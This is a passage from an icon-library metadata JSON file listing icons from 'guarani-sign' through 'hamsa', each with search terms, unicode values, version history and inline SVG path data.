22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"
      }
    },
    "free": ["brands"]
  },
  "guarani-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Guarani Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e19a",
    "label": "Guarani Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-17.7 0-32 14.3-32 32V66.7C69.2 81.9 0 160.9 0 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c90.8-15.2 160-94.2 160-189.3c0-17.7-14.3-32-32-32H224V132c22.1 5.7 41.8 17.1 57.6 32.6c12.6 12.4 32.9 12.2 45.3-.4s12.2-32.9-.5-45.3C299 92 263.5 73.3 224 66.7V32c0-17.7-14.3-32-32-32zM160 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124zM224 380V288h92c-11.6 45-47 80.4-92 92z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-17.7 0-32 14.3-32 32V66.7C69.2 81.9 0 160.9 0 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c90.8-15.2 160-94.2 160-189.3c0-17.7-14.3-32-32-32H224V132c22.1 5.7 41.8 17.1 57.6 32.6c12.6 12.4 32.9 12.2 45.3-.4s12.2-32.9-.5-45.3C299 92 263.5 73.3 224 66.7V32c0-17.7-14.3-32-32-32zM160 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124zM224 380V288h92c-11.6 45-47 80.4-92 92z"
      }
    },
    "free": ["solid"]
  },
  "guilded": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07e",
    "label": "Guilded",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"
      }
    },
    "free": ["brands"]
  },
  "guitar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a6"]
      }
    },
    "changes": ["5.6.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acoustic",
        "instrument",
        "music",
        "rock",
        "rock and roll",
        "song",
        "strings"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a6",
    "label": "Guitar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M465 7c-9.4-9.4-24.6-9.4-33.9 0L383 55c-2.4 2.4-4.3 5.3-5.5 8.5l-15.4 41-77.5 77.6c-45.1-29.4-99.3-30.2-131 1.6c-11 11-18 24.6-21.4 39.6c-3.7 16.6-19.1 30.7-36.1 31.6c-25.6 1.3-49.3 10.7-67.3 28.6C-16 328.4-7.6 409.4 47.5 464.5s136.1 63.5 180.9 18.7c17.9-17.9 27.4-41.7 28.6-67.3c.9-17 15-32.3 31.6-36.1c15-3.4 28.6-10.5 39.6-21.4c31.8-31.8 31-85.9 1.6-131l77.6-77.6 41-15.4c3.2-1.2 6.1-3.1 8.5-5.5l48-48c9.4-9.4 9.4-24.6 0-33.9L465 7zM208 256a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M465 7c-9.4-9.4-24.6-9.4-33.9 0L383 55c-2.4 2.4-4.3 5.3-5.5 8.5l-15.4 41-77.5 77.6c-45.1-29.4-99.3-30.2-131 1.6c-11 11-18 24.6-21.4 39.6c-3.7 16.6-19.1 30.7-36.1 31.6c-25.6 1.3-49.3 10.7-67.3 28.6C-16 328.4-7.6 409.4 47.5 464.5s136.1 63.5 180.9 18.7c17.9-17.9 27.4-41.7 28.6-67.3c.9-17 15-32.3 31.6-36.1c15-3.4 28.6-10.5 39.6-21.4c31.8-31.8 31-85.9 1.6-131l77.6-77.6 41-15.4c3.2-1.2 6.1-3.1 8.5-5.5l48-48c9.4-9.4 9.4-24.6 0-33.9L465 7zM208 256a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "gulp": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ae",
    "label": "Gulp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"
      }
    },
    "free": ["brands"]
  },
  "gun": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["firearm", "pistol", "weapon"]
    },
    "styles": ["solid"],
    "unicode": "e19b",
    "label": "Gun",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 56c0-13.3-10.7-24-24-24s-24 10.7-24 24v8H32C14.3 64 0 78.3 0 96V208c0 17.7 14.3 32 32 32H42c20.8 0 36.1 19.6 31 39.8L33 440.2c-2.4 9.6-.2 19.7 5.8 27.5S54.1 480 64 480h96c14.7 0 27.5-10 31-24.2L217 352H321.4c23.7 0 44.8-14.9 52.7-37.2L400.9 240H432c8.5 0 16.6-3.4 22.6-9.4L477.3 208H544c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H528V56zM321.4 304H229l16-64h105l-21 58.7c-1.1 3.2-4.2 5.3-7.5 5.3zM80 128H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528 56c0-13.3-10.7-24-24-24s-24 10.7-24 24v8H32C14.3 64 0 78.3 0 96V208c0 17.7 14.3 32 32 32H42c20.8 0 36.1 19.6 31 39.8L33 440.2c-2.4 9.6-.2 19.7 5.8 27.5S54.1 480 64 480h96c14.7 0 27.5-10 31-24.2L217 352H321.4c23.7 0 44.8-14.9 52.7-37.2L400.9 240H432c8.5 0 16.6-3.4 22.6-9.4L477.3 208H544c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H528V56zM321.4 304H229l16-64h105l-21 58.7c-1.1 3.2-4.2 5.3-7.5 5.3zM80 128H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "h": {
    "aliases": {
      "unicodes": {
        "composite": ["68"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter H", "Latin Small Letter H", "letter"]
    },
    "styles": ["solid"],
    "unicode": "48",
    "label": "H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 256l0 192c0 17.7 14.3 32 32 32s32-14.3 32-32l0-224V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192L64 192 64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-192 256 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 256l0 192c0 17.7 14.3 32 32 32s32-14.3 32-32l0-224V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192L64 192 64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-192 256 0z"
      }
    },
    "free": ["solid"]
  },
  "hacker-news": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d4",
    "label": "Hacker News",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"
      }
    },
    "free": ["brands"]
  },
  "hackerrank": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5f7",
    "label": "Hackerrank",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"
      }
    },
    "free": ["brands"]
  },
  "hammer": {
    "aliases": {
      "unicodes": {
        "composite": ["1f528"],
        "secondary": ["10f6e3"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "hammer",
        "recovery",
        "repair",
        "settings",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e3",
    "label": "Hammer",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M413.5 237.5c-28.2 4.8-58.2-3.6-80-25.4l-38.1-38.1C280.4 159 272 138.8 272 117.6V105.5L192.3 62c-5.3-2.9-8.6-8.6-8.3-14.7s3.9-11.5 9.5-14l47.2-21C259.1 4.2 279 0 299.2 0h18.1c36.7 0 72 14 98.7 39.1l44.6 42c24.2 22.8 33.2 55.7 26.6 86L503 183l8-8c9.4-9.4 24.6-9.4 33.9 0l24 24c9.4 9.4 9.4 24.6 0 33.9l-88 88c-9.4 9.4-24.6 9.4-33.9 0l-24-24c-9.4-9.4-9.4-24.6 0-33.9l8-8-17.5-17.5zM27.4 377.1L260.9 182.6c3.5 4.9 7.5 9.6 11.8 14l38.1 38.1c6 6 12.4 11.2 19.2 15.7L134.9 484.6c-14.5 17.4-36 27.4-58.6 27.4C34.1 512 0 477.8 0 435.7c0-22.6 10.1-44.1 27.4-58.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M413.5 237.5c-28.2 4.8-58.2-3.6-80-25.4l-38.1-38.1C280.4 159 272 138.8 272 117.6V105.5L192.3 62c-5.3-2.9-8.6-8.6-8.3-14.7s3.9-11.5 9.5-14l47.2-21C259.1 4.2 279 0 299.2 0h18.1c36.7 0 72 14 98.7 39.1l44.6 42c24.2 22.8 33.2 55.7 26.6 86L503 183l8-8c9.4-9.4 24.6-9.4 33.9 0l24 24c9.4 9.4 9.4 24.6 0 33.9l-88 88c-9.4 9.4-24.6 9.4-33.9 0l-24-24c-9.4-9.4-9.4-24.6 0-33.9l8-8-17.5-17.5zM27.4 377.1L260.9 182.6c3.5 4.9 7.5 9.6 11.8 14l38.1 38.1c6 6 12.4 11.2 19.2 15.7L134.9 484.6c-14.5 17.4-36 27.4-58.6 27.4C34.1 512 0 477.8 0 435.7c0-22.6 10.1-44.1 27.4-58.6z"
      }
    },
    "free": ["solid"]
  },
  "hamsa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f665"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amulet",
        "christianity",
        "islam",
        "jewish",
        "judaism",
        "muslim",
        "protection"
      ]
    },
    "styles": ["solid"],
    "unicode": "f665",
    "label": "Hamsa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M34.6 288H80c8.8 0 16-7.2 16-16V72c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V40c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V72c0-22.1 17.9-40 40-40s40 17.9 40 40V272c0 8.8 7.2 16 16 16h45.4c19.1 0 34.6 15.5 34.6 34.6c0 8.6-3.2 16.9-9 23.3L416.6 441c-41.1 45.2-99.4 71-160.6 71s-119.4-25.8-160.6-71L9 345.9c-5.8-6.4-9-14.7-9-23.3C0 303.5 15.5 288 34.6 288zM256 288c-38.4 0-76.8 35.8-90.6 50.2c-3.6 3.7-5.4 8.7-5.4 13.8s1.8 10.1 5.4 13.8C179.2 380.2 217.6 416 256 416s76.8-35.8 90.6-50.2c3.6-3.7 5.4-8.7 5.4-13.8s-1.8-10.1-5.4-13.8C332.8 323.8 294.4 288 256 288zm0 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M34.6 288H80c8.8 0 16-7.2 16-16V72c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V40c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V72c0-22.1 17.9-40 40-40s40 17.9 40 40V272c0 8.8 7.2 16 16 16h45.4c19.1 0 34.6 15.5 34.6 34.6c0 8.6-3.2 16.9-9 23.3L416.6 441c-41.1 45.2-99.4 71-160.6 71s-119.4-25.8-160.6-71L9 345.9c-5.8-6.4-9-14.7-9-23.3C0 303.5 15.5 288 34.6 288zM256 288c-38.4 0-76.8 35.8-90.6 50.2c-3.6 3.7-5.4 8.7-5.4 13.8s1.8 10.1 5.4 13.8C179.2 380.2 217.6 416 256 416s76.8-35.8 90.6-50.2c3.6-3.7 5.4-8.7 5.4-13.8s-1.8-10.1-5.4-13.8C332.8 323.8 294.4 288 256 288zm0 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "hand": {
    "aliases": {
